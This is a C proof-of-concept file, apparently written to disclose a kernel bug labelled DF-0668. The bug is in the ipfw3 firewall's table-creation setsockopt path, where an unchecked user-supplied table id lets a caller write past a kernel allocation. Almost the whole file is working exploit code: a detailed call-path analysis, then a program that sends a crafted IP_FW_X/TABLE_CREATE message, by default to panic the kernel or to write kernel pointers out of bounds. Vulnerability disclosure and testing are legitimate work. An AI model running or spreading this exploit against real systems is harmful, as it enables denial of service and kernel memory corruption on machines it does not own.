/*
 * DF-0668 PoC: ipfw3 table op OOB via unchecked ioc_table->id.
 *
 * Reachability: requires a raw IP socket (setsockopt IPPROTO_IP/IP_FW_X),
 * which needs caps_priv_check(SYSCAP_NONET_RAW) => ROOT-ONLY. An unprivileged
 * user gets EPERM on socket(AF_INET,SOCK_RAW,...) and cannot reach the sink.
 * (sys/netinet/raw_ip.c:473 caps_priv_check(... SYSCAP_NONET_RAW))
 *
 * Path: setsockopt(IPPROTO_IP, IP_FW_X=49, [x_header{opcode=IP_FW_TABLE_CREATE=73}]
 *                   [struct ipfw_ioc_table{id, type,...}])
 *   -> rip_ctloutput -> ip_fw3_sockopt -> ip_fw3_ctl (case IP_FW_X)
 *   -> ip_fw3_ctl_x (strips x_header, sopt_name=73)
 *   -> ip_fw3_ctl (case IP_FW_TABLE_CREATE) -> ip_fw3_ctl_table_ptr
 *   -> ip_fw3_ctl_table_create -> table_create_dispatch (per CPU)
 *   -> table_ctx = ctx->table_ctx; table_ctx += id;   <-- id unchecked
 *      table_ctx->type = ioc_table->type; ... strlcpy(name...); rn_inithead(...)
 *   ctx->table_ctx is kmalloc(32*sizeof(ipfw3_table_context)=1792, M_IPFW3_TABLE).
 *   id is an `int` from user with NO bounds check (IPFW_TABLES_MAX=32 ignored),
 *   so table_ctx += id walks OOB and writes type/count/name + 2 kernel ptrs
 *   (rn_inithead) at offset id*56 past the allocation.
 *
 * Usage: ./ipfw3_table_oob [id]   (default id=0x4000 = 16384 -> ~900KB OOB -> panic)
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>

#define IP_FW_X              49
#define IP_FW_TABLE_CREATE   73

struct ip_fw_x_header { uint16_t opcode; uint16_t pad; };
/* mirrors sys/net/ipfw3_basic/ip_fw3_table.h: struct ipfw_ioc_table */
struct ipfw_ioc_table { int id; int type; int count; char name[32]; };

int main(int argc, char **argv)
{
	int id = (argc > 1) ? (int)strtol(argv[1], NULL, 0) : 0x4000;
	int s, rc;
	struct {
		struct ip_fw_x_header h;
		struct ipfw_ioc_table t;
	} __attribute__((packed)) msg;

	s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
	if (s < 0) { printf("socket(SOCK_RAW) failed: %s (expected for unpriv)\n", strerror(errno)); return 1; }
	printf("[*] raw socket ok (running as root); targeting id=%d (0x%x)\n", id, id);

	memset(&msg, 0, sizeof(msg));
	msg.h.opcode = IP_FW_TABLE_CREATE;
	msg.t.id = id;
	msg.t.type = 1;          /* type 1 => rn_inithead writes 2 kernel ptrs at OOB */
	snprintf(msg.t.name, sizeof(msg.t.name), "DF0668_oob");

	printf("[*] setsockopt IP_FW_X opcode=TABLE_CREATE id=%d type=1 -> expect OOB panic\n", id);
	rc = setsockopt(s, IPPROTO_IP, IP_FW_X, &msg, sizeof(msg));
	printf("[*] setsockopt returned %d errno=%d (%s)\n", rc, errno, strerror(errno));
	/* If we get here, the OOB write landed in mapped slab pages (silent). */
	close(s);
	return 0;
}
